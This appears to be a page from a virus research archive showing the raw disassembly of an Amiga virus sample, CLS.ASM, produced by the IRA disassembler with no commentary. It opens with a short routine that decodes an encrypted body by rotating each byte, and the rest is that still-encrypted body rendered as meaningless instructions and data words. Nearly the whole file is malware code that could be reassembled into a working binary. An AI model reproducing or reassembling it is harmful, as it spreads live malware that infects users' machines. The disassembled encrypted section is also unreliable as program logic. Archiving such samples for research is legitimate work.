home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / amiga_virus_collection_research.7z / VIRUSRESEARCH / BEOL96 / CLS.ASM < prev    next >
Assembly Source File  |  1999-06-12  |  22KB  |  946 lines
  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. EXT_0001    EQU    $3D26
  6. EXT_0002    EQU    $3DBC
  7. EXT_0003    EQU    $3FBE
  8. EXT_0004    EQU    $2290E146
  9. EXT_0005    EQU    $39886261
  10. EXT_0006    EQU    $39C8F118
  11. EXT_0007    EQU    $5F33435D
  12.  
  13.  
  14.  
  15.  
  16.     SECTION S_0,CODE
  17.  
  18. SECSTRT_0:
  19.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;000: 48E7FFFE
  20.     PEA    LAB_0002(PC)        ;004: 487A0038
  21.     MOVEA.L    (A7)+,A3        ;008: 265F
  22.     PEA    (1835).W        ;00A: 4878072B
  23.     MOVE.L    (A7)+,D3        ;00E: 261F
  24. LAB_0000:
  25.     MOVE.B    (A3),D4            ;010: 1813
  26.     ROL.B    #3,D4            ;012: E71C
  27.     MOVE.B    D4,(A3)            ;014: 1684
  28.     MOVE.B    (A3),D4            ;016: 1813
  29.     ROL.B    #3,D4            ;018: E71C
  30.     MOVE.B    D4,(A3)            ;01A: 1684
  31.     MOVE.L    (ABSEXECBASE).W,D5    ;01C: 2A380004
  32.     MOVEA.L    D5,A6            ;020: 2C45
  33.     DC.W    $0413            ;022
  34.     DC.W    $0E4F            ;024
  35.     PEA    (A3)            ;026: 4853
  36.     ADDQ.L    #1,(A7)            ;028: 5297
  37.     MOVEA.L    (A7)+,A3        ;02A: 265F
  38.     TST    D3            ;02C: 4A43
  39.     BEQ.S    LAB_0001        ;02E: 6706
  40.     SUBQ    #1,D3            ;030: 5343
  41.     BRA    LAB_0000        ;032: 6000FFDC
  42. LAB_0001:
  43.     MOVE    #$FD67,D2        ;036: 343CFD67
  44.     DC.W    $4EB6            ;03A
  45.     MOVE.L    (A5)+,D0        ;03C: 201D
  46. LAB_0002:
  47.     ADDQ.B    #5,-(A5)        ;03E: 5A25
  48.     MOVE    -(A6),-(A6)        ;040: 3D26
  49.     DC.W    $B26B            ;042
  50.     DC.W    $621D            ;044
  51.     SUBQ.B    #2,(A1)            ;046: 5511
  52.     DC.W    $CD6D            ;048
  53.     DC.W    $8589            ;04A
  54.     ADD.L    -(A1),D4        ;04C: D8A1
  55.     SUBX    D3,D2            ;04E: 9543
  56.     DC.W    $8589            ;050
  57.     ADD.L    -(A1),D4        ;052: D8A1
  58.     SUBX    D3,D2            ;054: 9543
  59.     BCHG    D3,D1            ;056: 0741
  60.     SUB    D0,D2            ;058: 9440
  61.     BNE.S    LAB_0004        ;05A: 6646
  62.     ADD    (A5),D5            ;05C: DA55
  63.     OR    D6,D5            ;05E: 8A46
  64.     DC.W    $BE3D            ;060
  65.     DC.W    $39DC            ;062
  66.     CLR.B    (A5)+            ;064: 421D
  67.     DC.W    $A940            ;066
  68.     DC.W    $EDDE            ;068
  69.     DC.W    $CC4A            ;06A
  70.     ADDQ.B    #7,-(A7)        ;06C: 5E27
  71.     MOVE    (A5),30452(A6)        ;06E: 3D5576F4
  72.     MOVE    A7,20968(A0)        ;072: 314F51E8
  73.     DC.W    $4D06            ;076
  74.     DC.W    $3F3E            ;078
  75.     SUBA    D1,A1            ;07A: 92C1
  76.     NEG    D6            ;07C: 4446
  77.     DC.W    $A3E8            ;07E
  78. LAB_0003:
  79.     MOVE    D5,D6            ;080: 3C05
  80.     MOVE.L    (A0)+,(A1)+        ;082: 22D8
  81.     DC.W    $7F3F            ;084
  82.     SUBA.L    -(A5),A5        ;086: 9BE5
  83.     AND    -(A5),D1        ;088: C265
  84.     DC.W    $4F61            ;08A
  85.     DC.W    $3D9D            ;08C
  86.     MOVE    -(A1),-8894(A7)        ;08E: 3F61DD42
  87.     DC.W    $BF30            ;092
  88.     DC.W    $71E8            ;094
  89.     MOVE    16160(A3),-(A4)        ;096: 392B3F20
  90.     DC.W    $3DDC            ;09A
  91.     DC.W    $1DFC            ;09C
  92.     BLT.S    LAB_0003        ;09E: 6DE0
  93.     MOVE    (A2)+,(A6)+        ;0A0: 3CDA
  94. LAB_0004:
  95.     DC.W    $523A            ;0A2
  96.     MOVE    A1,-(A4)        ;0A4: 3909
  97.     MULS    D3,D0            ;0A6: C1C3
  98.     DC.W    $E8C5            ;0A8
  99.     DC.W    $2228            ;0AA
  100.     DC.W    $1985            ;0AC
  101.     DC.W    $6191            ;0AE
  102.     MOVE    D2,D1            ;0B0: 3202
  103.     AND.L    (A4)+,D6        ;0B2: CC9C
  104.     DC.W    $943D            ;0B4
  105.     MOVE.L    (A0),(A1)        ;0B6: 2290
  106.     NOT    (A5)+            ;0B8: 465D
  107.     MOVE.L    (A0),(A1)        ;0BA: 2290
  108.     DC.W    $ABBE            ;0BC
  109.     MOVE.L    (A0),(A1)        ;0BE: 2290
  110.     TST    (A5)+            ;0C0: 4A5D
  111.     MOVE.L    (A0),(A1)        ;0C2: 2290
  112.     DC.W    $BEFD            ;0C4
  113.     MOVE.L    A6,(A7)            ;0C6: 2E8E
  114.     DC.W    $2EBE            ;0C8
  115.     DC.W    $7D0E            ;0CA
  116.     DC.W    $3E3E            ;0CC
  117.     DC.W    $4EDD            ;0CE
  118.     DC.W    $7B4E            ;0D0
  119.     SUBX.L    -(A3),-(A6)        ;0D2: 9D8B
  120.     DC.W    $4E7D            ;0D4
  121.     ADDX.B    -(A6),-(A5)        ;0D6: DB0E
  122.     DC.W    $5ECB            ;0D8
  123.     DC.W    $0E6D            ;0DA
  124.     DC.W    $6DCD            ;0DC
  125.     DC.W    $3E3E            ;0DE
  126.     SUBQ    #6,-17474(A5)        ;0E0: 5D6DBBBE
  127.     DC.W    $6DCD            ;0E4
  128.     BLT.S    LAB_0006        ;0E6: 6D3E
  129.     DC.W    $455E            ;0E8
  130.     DC.W    $5A3D            ;0EA
  131.     DC.W    $7DFE            ;0EC
  132.     DC.W    $DD6E            ;0EE
  133.     DC.W    $4DCD            ;0F0
  134.     SF    7741(A0)        ;0F2: 51E81E3D
  135.     DC.W    $4DCD            ;0F6
  136.     SF    12029(A0)        ;0F8: 51E82EFD
  137.     AND    D6,(A2)            ;0FC: CD52
  138.     EXG    A2,A5            ;0FE: C54D
  139.     AND    D6,(A1)            ;100: CD51
  140.     ROR.B    D4,D6            ;102: E83E
  141.     DC.W    $FDCD            ;104
  142.     DC.W    $42C5            ;106
  143.     DC.W    $7DC1            ;108
  144.     ROR.B    #8,D6            ;10A: E01E
  145.     DC.W    $4DCD            ;10C
  146.     DC.W    $3F33            ;10E
  147.     DC.W    $3D7D            ;110
  148.     DC.W    $4EEE            ;112
  149. LAB_0005:
  150.     DC.W    $AF4D            ;114
  151.     EOR    D6,(A1)            ;116: BD51
  152.     DC.W    $C87D            ;118
  153.     SUB.L    D6,(A0)+        ;11A: 9D98
  154.     DC.W    $6D5D            ;11C
  155.     DC.W    $BD3F            ;11E
  156.     DC.W    $BD3D            ;120
  157.     DIVS    D1,D6            ;122: 8DC1
  158.     AND.L    (A5)+,D0        ;124: C09D
  159. LAB_0006:
  160.     SUB    A5,D4            ;126: 984D
  161.     DC.W    $5D3F            ;128
  162.     DC.W    $2F3D            ;12A
  163.     DC.W    $4D5D            ;12C
  164.     MOVE    #$ED9D,(A6)+        ;12E: 3CFCED9D
  165.     SUB.L    D6,(A0)+        ;132: 9D98
  166.     DC.W    $FD5D            ;134
  167.     ADDQ    #1,D1            ;136: 5241
  168.     DC.W    $4D5D            ;138
  169.     MOVE    #$9D9D,(A6)+        ;13A: 3CFC9D9D
  170.     SUB    (A5)+,D4        ;13E: 985D
  171.     SUBQ.L    #6,(A5)+        ;140: 5D9D
  172.     DC.W    $41AD            ;142
  173.     CHK    (A5),D2            ;144: 4595
  174.     DC.W    $95B7            ;146
  175.     DC.W    $0ACD            ;148
  176.     MOVE.B    17069(A4),-(A0)        ;14A: 112C42AD
  177.     DC.W    $7DCD            ;14E
  178.     OR.B    24013(A7),D7        ;150: 8E2F5DCD
  179.     DC.W    $62C1            ;154
  180.     DC.W    $3D5D            ;156
  181.     MULS    D1,D6            ;158: CDC1
  182.     DC.W    $427D            ;15A
  183.     BHI.S    LAB_0005        ;15C: 62B6
  184.     DC.W    $4DCD            ;15E
  185.     DC.W    $3F33            ;160
  186.     MOVE    A5,27968(A6)        ;162: 3D4D6D40
  187.     DC.W    $4D6D            ;166
  188.     DC.W    $CD6D            ;168
  189.     DC.W    $4A49            ;16A
  190.     DC.W    $3D6D            ;16C
  191.     DC.W    $6DCD            ;16E
  192.     DC.W    $3EBE            ;170
  193.     DC.W    $3DAF            ;172
  194.     DC.W    $7DCD            ;174
  195.     TRAP    #14            ;176: 4E4E
  196.     SUBQ    #6,(A5)+        ;178: 5D5D
  197.     DC.W    $52C9            ;17A
  198.     ADD    D6,(A5)+        ;17C: DD5D
  199.     DC.W    $5D72            ;17E
  200.     DC.W    $417D            ;180
  201.     ROL.B    D1,D5            ;182: E33D
  202.     ADD    D6,(A5)+        ;184: DD5D
  203.     SLT    -(A1)            ;186: 5DE1
  204.     DC.W    $417D            ;188
  205.     EOR.L    D1,(A5)+        ;18A: B39D
  206.     SUBQ    #6,(A5)+        ;18C: 5D5D
  207.     MOVEQ    #65,D1            ;18E: 7241
  208.     DC.W    $7D43            ;190
  209.     DC.W    $3DDD            ;192
  210.     DC.W    $497D            ;194
  211.     DC.W    $2EEE            ;196
  212.     DC.W    $AF8D            ;198
  213.     MULS    -(A0),D0        ;19A: C1E0
  214.     DC.W    $3D9D            ;19C
  215.     OR.B    D6,-(A2)        ;19E: 8D22
  216.     MOVE.L    (A1)+,D4        ;1A0: 2819
  217.     DC.W    $853D            ;1A2
  218.     CHK    20776(A5),D6        ;1A4: 4DAD5128
  219.     SUB.B    D6,(A1)+        ;1A8: 9D19
  220.     OR    D2,(A5)+        ;1AA: 855D
  221.     DC.W    $AD22            ;1AC
  222.     DC.W    $C7AD            ;1AE
  223.     DC.W    $4D4D            ;1B0
  224.     MOVE    #$BD19,(A6)+        ;1B2: 3CFCBD19
  225.     DC.W    $857D            ;1B6
  226.     MOVE.L    -(A4),(A1)        ;1B8: 22A4
  227.     EXG    A6,A5            ;1BA: CD4D
  228.     OR.B    D6,-(A2)        ;1BC: 8D22
  229.     MOVE.L    (A1)+,D2        ;1BE: 2419
  230.     DC.W    $853D            ;1C0
  231.     DC.W    $7DDD            ;1C2
  232.     DC.W    $BE7F            ;1C4
  233.     DC.W    $8DFF            ;1C6
  234.     DC.W    $C03D            ;1C8
  235.     DC.W    $7D3D            ;1CA
  236.     DC.W    $4D3D            ;1CC
  237.     DC.W    $407D            ;1CE
  238.     DC.W    $6D9D            ;1D0
  239.     DC.W    $3D3F            ;1D2
  240.     DC.W    $415D            ;1D4
  241.     DC.W    $9DFF            ;1D6
  242.     DC.W    $423D            ;1D8
  243.     DC.W    $4D3D            ;1DA
  244.     DC.W    $3FBC            ;1DC
  245.     DC.W    $7D3D            ;1DE
  246.     DC.W    $7D5D            ;1E0
  247.     DC.W    $3DFF            ;1E2
  248.     DC.W    $413D            ;1E4
  249.     CHK    (A5)+,D6        ;1E6: 4D9D
  250.     DC.W    $51C8            ;1E8
  251.     DC.W    $9D3D            ;1EA
  252.     DC.W    $7D5D            ;1EC
  253.     DC.W    $9DFF            ;1EE
  254.     AND.L    D1,21278(A5)        ;1F0: C3AD531E
  255.     SUBQ.B    #8,(EXT_0002).W        ;1F4: 51383DBC
  256.     DC.W    $FF42            ;1F8
  257.     DC.W    $3F65            ;1FA
  258.     DC.W    $023B            ;1FC
  259.     DC.W    $2D39            ;1FE
  260.     MOVE.L    (A0),(A1)        ;200: 2290
  261.     DC.W    $C1BB            ;202
  262.     MOVE    8740(A1),-(A4)        ;204: 39292224
  263.     MOVE    D1,-(A4)        ;208: 3901
  264.     BRA.S    LAB_0007        ;20A: 600E
  265.     DC.W    $71E8            ;20C
  266.     DC.W    $3DDF            ;20E
  267.     MOVE    -(A0),-(A7)        ;210: 3F20
  268.     CHK    D7,D6            ;212: 4D87
  269.     DC.W    $533E            ;214
  270.     MOVE    -(A0),-(A7)        ;216: 3F20
  271.     CHK    -(A6),D6        ;218: 4DA6
  272. LAB_0007:
  273.     SLS    (A5)+            ;21A: 53DD
  274.     MOVE.L    -(A4),D1        ;21C: 2224
  275.     DC.W    $39A0            ;21E
  276.     DC.W    $023B            ;220
  277.     MOVE    EXT_0004,-(A0)        ;222: 31392290E146
  278.     DC.W    $B3E8            ;228
  279.     DC.W    $64BF            ;22A
  280.     DC.W    $3DBD            ;22C
  281.     DC.W    $A37D            ;22E
  282.     LEA    (A1),A7            ;230: 4FD1
  283.     DC.W    $3D84            ;232
  284.     MOVE    D2,17192(A7)        ;234: 3F424328
  285.     DC.W    $C1BB            ;238
  286.     MOVE    -64(A1),-(A0)        ;23A: 3129FFC0
  287.     DC.W    $3D7D            ;23E
  288.     SUB.B    D7,-(A0)        ;240: 9F20
  289.     DC.W    $4D7E            ;242
  290.     DC.W    $B1FB            ;244
  291.     DC.W    $3DA1            ;246
  292.     DC.W    $533D            ;248
  293.     SUBQ    #6,A2            ;24A: 5D4A
  294.     ADDX    D1,D7            ;24C: DF41
  295.     ADDA.L    A0,A0            ;24E: D1C8
  296.     DC.W    $3DBE            ;250
  297.     ADD.B    (A0)+,D5        ;252: DA18
  298.     DC.W    $3DDD            ;254
  299.     SLS    -(A7)            ;256: 53E7
  300.     DC.W    $A10C            ;258
  301.     DC.W    $3DCD            ;25A
  302.     DC.W    $F31D            ;25C
  303.     DC.W    $FFFF            ;25E
  304.     MOVE    A0,-(A4)        ;260: 3908
  305.     DC.W    $3FA1            ;262
  306.     DC.W    $E1C7            ;264
  307.     MOVE    D3,-23716(A6)        ;266: 3D43A35C
  308.     DC.W    $3FFF            ;26A
  309.     DC.W    $3948            ;26C
  310.     SUBQ.B    #1,(A7)+        ;26E: 531F
  311.     DC.W    $7DDD            ;270
  312.     MOVE    (A4)+,27960(A6)        ;272: 3D5C6D38
  313.     DC.W    $4DE1            ;276
  314.     BLT.S    LAB_0008        ;278: 6D18
  315.     DC.W    $3D87            ;27A
  316.     MOVE    -(A2),19778(A6)        ;27C: 3D624D42
  317.     DC.W    $3DBE            ;280
  318.     MOVE    (A7)+,15790(A6)        ;282: 3D5F3DAE
  319.     MOVE    (A7)+,-(A6)        ;286: 3D1F
  320.     DC.W    $4A4A            ;288
  321.     MOVEA.L    D6,A1            ;28A: 2246
  322.     DC.W    $43DD            ;28C
  323.     DC.W    $3F33            ;28E
  324.     MOVE    D2,CCR            ;290: 44C2
  325. LAB_0008:
  326.     CMPM.L    (A0)+,(A1)+        ;292: B388
  327.     SGE    D2            ;294: 5CC2
  328.     DC.W    $10C8            ;296
  329.     BSR.S    LAB_0009        ;298: 610C
  330.     DC.W    $3DCD            ;29A
  331.     MOVE    A6,-(A7)        ;29C: 3F0E
  332.     DC.W    $023B            ;29E
  333.     MOVE    8848(A1),-(A0)        ;2A0: 31292290
  334.     DC.W    $56C9            ;2A4
  335. LAB_0009:
  336.     DC.W    $3FEF            ;2A6
  337.     DC.W    $3DA3            ;2A8
  338.     SUBA.L    D5,A5            ;2AA: 9BC5
  339.     EOR    D1,D3            ;2AC: B343
  340.     MOVE    #$BD3E,-(A7)        ;2AE: 3F3CBD3E
  341.     SUBA.L    D5,A5            ;2B2: 9BC5
  342.     CMPA.L    D2,A1            ;2B4: B3C2
  343.     DC.W    $3F41            ;2B6
  344.     DC.W    $403D            ;2B8
  345.     DC.W    $3EBE            ;2BA
  346.     DC.W    $4A49            ;2BC
  347.     DC.W    $537E            ;2BE
  348.     DC.W    $6D47            ;2C0
  349.     MULU    D1,D3            ;2C2: C6C1
  350.     DC.W    $435D            ;2C4
  351.     MOVE    D1,SR            ;2C6: 46C1
  352.     DC.W    $3FBD            ;2C8
  353.     DC.W    $41BE            ;2CA
  354.     DC.W    $40BF            ;2CC
  355.     MOVE    D2,(A7)+        ;2CE: 3EC2
  356.     MOVE    D0,SR            ;2D0: 46C0
  357.     AND.B    EXT_0007,D2        ;2D2: C4395F33435D
  358.     DC.W    $6AB9            ;2D8
  359.     DC.W    $213D            ;2DA
  360.     DC.W    $1FCE            ;2DC
  361.     DC.W    $F31C            ;2DE
  362.     DC.W    $7FC1            ;2E0
  363.     MOVEA    (A7)+,A7        ;2E2: 3E5F
  364.     DC.W    $BBBD            ;2E4
  365.     DC.W    $44CE            ;2E6
  366.     DC.W    $A328            ;2E8
  367.     DC.W    $523A            ;2EA
  368.     DC.W    $39A8            ;2EC
  369.     DC.W    $407F            ;2EE
  370.     TST.L    D6            ;2F0: 4A86
  371.     SUBA.L    D5,A5            ;2F2: 9BC5
  372.     DC.W    $3F41            ;2F4
  373.     SLE    D1            ;2F6: 5FC1
  374.     SUBQ.L    #1,(A6)+        ;2F8: 539E
  375.     DC.W    $A35E            ;2FA
  376.     DC.W    $4A49            ;2FC
  377.     MOVE.L    16062(A5),19394(A0)    ;2FE: 216D3EBE4BC2
  378.     DC.W    $523A            ;304
  379.     DC.W    $39E8            ;306
  380.     DC.W    $B37D            ;308
  381.     DC.W    $6F41            ;30A
  382.     MOVE    A0,-(A4)        ;30C: 3908
  383.     MOVE.L    (A0),(A1)        ;30E: 2290
  384.     DC.W    $403D            ;310
  385.     DC.W    $3E3E            ;312
  386.     ADD    D1,D1            ;314: D241
  387.     DC.W    $107D            ;316
  388.     ROL.B    D0,D4            ;318: E13C
  389.     MOVE    A5,8848(A6)        ;31A: 3D4D2290
  390.     DC.W    $533D            ;31E
  391.     MOVE    D6,-(A6)        ;320: 3D06
  392.     ASL.B    #8,D4            ;322: E104
  393.     DC.W    $3988            ;324
  394.     CMPM.L    (A0)+,(A1)+        ;326: B388
  395.     NEGX    (A1)            ;328: 4051
  396.     SUBA.L    D5,A5            ;32A: 9BC5
  397.     DC.W    $604D            ;32C
  398.     MOVE.L    -(A4),D1        ;32E: 2224
  399.     DC.W    $1982            ;330
  400.     SUBX    D5,D7            ;332: 9F45
  401.     DC.W    $B3AB            ;334
  402.     DC.W    $7F41            ;336
  403.     SF    23870(A0)        ;338: 51E85D3E
  404.     SUBQ    #1,-(A2)        ;33C: 5362
  405.     DC.W    $3FE3            ;33E
  406.     MOVE    D1,-(A6)        ;340: 3D01
  407. LAB_000A:
  408.     CMPA    -(A3),A1        ;342: B2E3
  409.     MOVE    D1,-(A6)        ;344: 3D01
  410.     ORI    #$4291,(A5)+        ;346: 005D4291
  411.     ORI    #$DFBD,D3        ;34A: 0043DFBD
  412.     DC.W    $4A09            ;34E
  413.     EOR    D6,(A5)+        ;350: BD5D
  414.     DC.W    $3FBD            ;352
  415.     DC.W    $604D            ;354
  416.     MOVE.L    -(A4),D1        ;356: 2224
  417.     DC.W    $1982            ;358
  418.     DC.W    $7F49            ;35A
  419.     DC.W    $7F95            ;35C
  420.     SPL    -(A6)            ;35E: 5AE6
  421.     DC.W    $7F49            ;360
  422.     EOR.L    D1,(A5)+        ;362: B39D
  423.     SF    15749(A3)        ;364: 51EB3D85
  424.     SUBQ.L    #1,-(A7)        ;368: 53A7
  425.     EOR    D1,D1            ;36A: B341
  426.     DC.W    $C23E            ;36C
  427.     DC.W    $7148            ;36E
  428.     DC.W    $3D8D            ;370
  429.     BSR.S    LAB_000A        ;372: 61CE
  430.     ADDQ.L    #7,(A1)+        ;374: 5E99
  431.     DC.W    $4B16            ;376
  432.     DC.W    $A3E8            ;378
  433.     DC.W    $7F89            ;37A
  434.     DC.W    $3FFF            ;37C
  435.     DC.W    $3D7D            ;37E
  436.     SUBA.L    D5,A5            ;380: 9BC5
  437.     MOVE    D1,16062(A7)        ;382: 3F413EBE
  438.     MOVEQ    #73,D7            ;386: 7E49
  439.     MOVEQ    #-54,D7            ;388: 7ECA
  440.     MOVEQ    #61,D1            ;38A: 723D
  441.     MOVE.L    8848(A0),(A0)+        ;38C: 20E82290
  442.     DC.W    $7108            ;390
  443.     DC.W    $3D3E            ;392
  444.     DC.W    $60CD            ;394
  445.     MOVEA.L    A7,A6            ;396: 2C4F
  446.     SHI    (A1)+            ;398: 52D9
  447.     MOVE    A1,-(A4)        ;39A: 3909
  448.     MOVEA.L    D6,A1            ;39C: 2246
  449.     DC.W    $7108            ;39E
  450.     DC.W    $39CB            ;3A0
  451.     DC.W    $60CD            ;3A2
  452.     DC.W    $5F3B            ;3A4
  453.     SHI    (A1)+            ;3A6: 52D9
  454.     MOVE    A1,-(A4)        ;3A8: 3909
  455.     MOVE.L    (A0),(A1)        ;3AA: 2290
  456.     DC.W    $3F6E            ;3AC
  457.     EOR.B    D1,30425(A3)        ;3AE: B32B76D9
  458.     SUBQ    #7,(A0)            ;3B2: 5F50
  459.     DC.W    $BDBD            ;3B4
  460.     DC.W    $537D            ;3B6
  461.     DC.W    $5F72            ;3B8
  462.     BSR.S    LAB_000C        ;3BA: 6176
  463.     MOVE.L    6434(A0),D1        ;3BC: 22281922
  464.     DC.W    $3F6E            ;3C0
  465.     CMPA.L    A3,A1            ;3C2: B3CB
  466.     DC.W    $7F41            ;3C4
  467.     SF    19811(A0)        ;3C6: 51E84D63
  468.     SUBQ.L    #1,A1            ;3CA: 5389
  469.     DC.W    $432B            ;3CC
  470.     DC.W    $3F6E            ;3CE
  471.     EOR.B    D1,D5            ;3D0: B305
  472.     DC.W    $7F41            ;3D2
  473.     SLE    -(A2)            ;3D4: 5FE2
  474.     DC.W    $3FFF            ;3D6
  475.     DC.W    $3988            ;3D8
  476.     EOR    D1,-(A4)        ;3DA: B364
  477.     DC.W    $DF3D            ;3DC
  478.     MOVEQ    #73,D5            ;3DE: 7A49
  479.     MOVEQ    #106,D2            ;3E0: 746A
  480.     MOVE.L    A1,(A0)+        ;3E2: 20C9
  481.     DC.W    $8FCD            ;3E4
  482.     MOVEQ    #73,D3            ;3E6: 7649
  483. LAB_000B:
  484.     DC.W    $3F82            ;3E8
  485.     MOVE.L    -(A4),D1        ;3EA: 2224
  486.     MOVE.B    D6,-7164(A4)        ;3EC: 1946E404
  487.     DC.W    $3D7D            ;3F0
  488.     CMPA.L    -(A6),A1        ;3F2: B3E6
  489.     SLE    -(A2)            ;3F4: 5FE2
  490.     MOVEQ    #-22,D2            ;3F6: 74EA
  491.     DC.W    $A364            ;3F8
  492.     DC.W    $7F62            ;3FA
  493.     DC.W    $7DE6            ;3FC
  494.     DC.W    $3D3D            ;3FE
  495.     BLT.S    LAB_000F        ;400: 6D78
  496.     DC.W    $A3C7            ;402
  497.     MOVE.L    A5,(A6)+        ;404: 2CCD
  498.     ADDA    #$9D98,A6        ;406: DCFC9D98
  499.     DC.W    $6A09            ;40A
  500.     DC.W    $AD5D            ;40C
  501.     SF    28130(A0)        ;40E: 51E86DE2
  502.     DC.W    $533D            ;412
  503.     CHK    -(A0),D6        ;414: 4DA0
  504.     MULU    -(A1),D1        ;416: C2E1
  505.     DC.W    $3FE1            ;418
  506.     DC.W    $BF3E            ;41A
  507.     BHI.S    LAB_000E        ;41C: 6246
  508.     DC.W    $42C5            ;41E
  509.     BHI.S    LAB_000B        ;420: 62C6
  510.     SUBX.B    D6,D5            ;422: 9B06
  511.     ADDQ.L    #5,A1            ;424: 5A89
  512.     SBCD    D6,D5            ;426: 8B06
  513.     DC.W    $A03D            ;428
  514.     MOVE.L    A0,(EXT_0003).W        ;42A: 21C83FBE
  515.     DC.W    $7D41            ;42E
  516.     DC.W    $6DCB            ;430
  517. LAB_000C:
  518.     ROL    D1,D5            ;432: E37D
  519.     DC.W    $3F2F            ;434
  520.     DC.W    $A349            ;436
  521.     DC.W    $FD41            ;438
  522.     DC.W    $3DED            ;43A
  523. LAB_000D:
  524.     ORI.L    #$3EEC3D9D,8952(A0)    ;43C: 00A83EEC3D9D22F8
  525.     DC.W    $3D5D            ;444
  526.     DC.W    $81FD            ;446
  527.     DC.W    $FD02            ;448
  528.     DC.W    $FF28            ;44A
  529.     DC.W    $2828            ;44C
  530.     CMP.L    D1,D6            ;44E: BC81
  531.     DC.W    $423D            ;450
  532.     DC.W    $5FBE            ;452
  533.     ROXL.L    D0,D5            ;454: E1B5
  534.     ROL    D1,D5            ;456: E37D
  535.     DC.W    $2BC5            ;458
  536.     SUB    D2,D2            ;45A: 9442
  537.     DC.W    $FDC3            ;45C
  538.     MOVE.L    (A0),(A1)        ;45E: 2290
  539.     MOVE    (A5)+,-19638(A6)    ;460: 3D5DB34A
  540. LAB_000E:
  541.     SUBA.L    (A5),A5            ;464: 9BD5
  542.     ADDQ    #5,(A1)+        ;466: 5A59
  543.     ROL    D0,D1            ;468: E179
  544.     CMPM    (A1)+,(A1)+        ;46A: B349
  545.     MOVEQ    #-127,D1        ;46C: 7281
  546.     CMPM.L    (A1)+,(A1)+        ;46E: B389
  547.     DC.W    $43E4            ;470
  548.     DC.W    $5FBE            ;472
  549.     EOR.L    D1,-(A4)        ;474: B3A4
  550.     BHI.S    LAB_000D+2        ;476: 62C6
  551.     SUBA.L    (A5),A5            ;478: 9BD5
  552. LAB_000F:
  553.     ADDQ    #5,(A1)+        ;47A: 5A59
  554.     DC.W    $4388            ;47C
  555.     DC.W    $5FBE            ;47E
  556.     CMPA.L    -(A7),A1        ;480: B3E7
  557.     SUBA.L    (A5),A5            ;482: 9BD5
  558.     SUBQ    #8,A0            ;484: 5148
  559.     DC.W    $BE7D            ;486
  560.     DC.W    $4388            ;488
  561.     DC.W    $5FBE            ;48A
  562.     SUBA.L    (A5),A5            ;48C: 9BD5
  563.     ADDQ    #5,(A1)+        ;48E: 5A59
  564.     DC.W    $43E6            ;490
  565.     MULU    D5,D1            ;492: C2C5
  566.     DC.W    $436A            ;494
  567.     DC.W    $A03D            ;496
  568.     MOVEQ    #-127,D1        ;498: 7281
  569.     DC.W    $A346            ;49A
  570.     DC.W    $9FBD            ;49C
  571.     DC.W    $A437            ;49E
  572.     DC.W    $A386            ;4A0
  573.     SF    15841(A0)        ;4A2: 51E83DE1
  574.     DC.W    $537D            ;4A6
  575.     SF    15773(A0)        ;4A8: 51E83D9D
  576.     DC.W    $433D            ;4AC
  577.     DC.W    $296B            ;4AE
  578.     DC.W    $40BD            ;4B0
  579.     DC.W    $6039            ;4B2
  580.     EXG    D0,A2            ;4B4: C18A
  581.     MOVE    15612(A5),27976(A6)    ;4B6: 3D6D3CFC6D48
  582.     SLS    D1            ;4BC: 53C1
  583.     CMPA.L    -(A5),A7        ;4BE: BFE5
  584.     DC.W    $40FD            ;4C0
  585.     EXG    D7,D1            ;4C2: CF41
  586.     DC.W    $3D7D            ;4C4
  587.     DC.W    $40B2            ;4C6
  588.     DC.W    $53FC            ;4C8
  589.     DC.W    $42E1            ;4CA
  590.     DC.W    $7F95            ;4CC
  591.     DC.W    $27E5            ;4CE
  592.     CMPA.L    -(A5),A7        ;4D0: BFE5
  593.     DC.W    $CFB1            ;4D2
  594.     DC.W    $3D7D            ;4D4
  595.     DC.W    $2BE5            ;4D6
  596.     DC.W    $533C            ;4D8
  597.     DC.W    $A291            ;4DA
  598.     SUB.B    D5,(A6)            ;4DC: 9B16
  599.     EXG    D0,A2            ;4DE: C18A
  600.     DC.W    $3DBF            ;4E0
  601.     SUBQ.L    #1,(A7)+        ;4E2: 539F
  602.     DC.W    $A6B5            ;4E4
  603.     DC.W    $BFB5            ;4E6
  604.     DC.W    $CF71            ;4E8
  605.     DC.W    $3D7D            ;4EA
  606.     DC.W    $43FE            ;4EC
  607.     DC.W    $603D            ;4EE
  608.     BSR.S    LAB_0010        ;4F0: 6104
  609.     MOVE    A1,-(A4)        ;4F2: 3909
  610.     DC.W    $403E            ;4F4
  611. LAB_0010:
  612.     DC.W    $4A76            ;4F6
  613.     DC.W    $3F41            ;4F8
  614.     EOR    D7,D7            ;4FA: BF47
  615.     DIVS    D5,D5            ;4FC: 8BC5
  616.     ABCD    -(A0),-(A0)        ;4FE: C108
  617.     DC.W    $3D6D            ;500
  618.     DC.W    $3D7D            ;502
  619.     DC.W    $408E            ;504
  620.     AND    D1,D6            ;506: CC41
  621.     DC.W    $3968            ;508
  622.     SUBQ.B    #7,(A2)            ;50A: 5F12
  623.     DC.W    $3FA1            ;50C
  624.     DC.W    $C1F3            ;50E
  625.     DC.W    $3D9E            ;510
  626.     DC.W    $CF33            ;512
  627.     MOVE    A0,-(A4)        ;514: 3908
  628.     MOVE.L    -(A4),D1        ;516: 2224
  629.     DC.W    $2966            ;518
  630.     DC.W    $C1F3            ;51A
  631.     DC.W    $3D9E            ;51C
  632.     DC.W    $3FB2            ;51E
  633.     MOVE.L    -(A4),D1        ;520: 2224
  634.     DC.W    $2945            ;522
  635.     DC.W    $3F33            ;524
  636.     MOVE.L    10502(A0),D1        ;526: 22282906
  637.     SLE    (A7)+            ;52A: 5FDF
  638.     DC.W    $3D80            ;52C
  639.     SUBQ    #1,A1            ;52E: 5349
  640.     DC.W    $8A09            ;530
  641.     DC.W    $3D85            ;532
  642.     MULS    -(A1),D7        ;534: CFE1
  643.     DC.W    $3DBD            ;536
  644.     NEGX    (A7)+            ;538: 405F
  645.     SLS    16349(A1)        ;53A: 53E93FDD
  646.     DIVS    D5,D5            ;53E: 8BC5
  647.     DC.W    $A245            ;540
  648.     EXG    D7,D1            ;542: CF41
  649.     DC.W    $3DBD            ;544
  650.     DC.W    $40FE            ;546
  651.     DC.W    $4305            ;548
  652.     DIVS    D5,D5            ;54A: 8BC5
  653.     DC.W    $5F7F            ;54C
  654.     SUBA.L    (A5),A5            ;54E: 9BD5
  655.     DC.W    $56C9            ;550
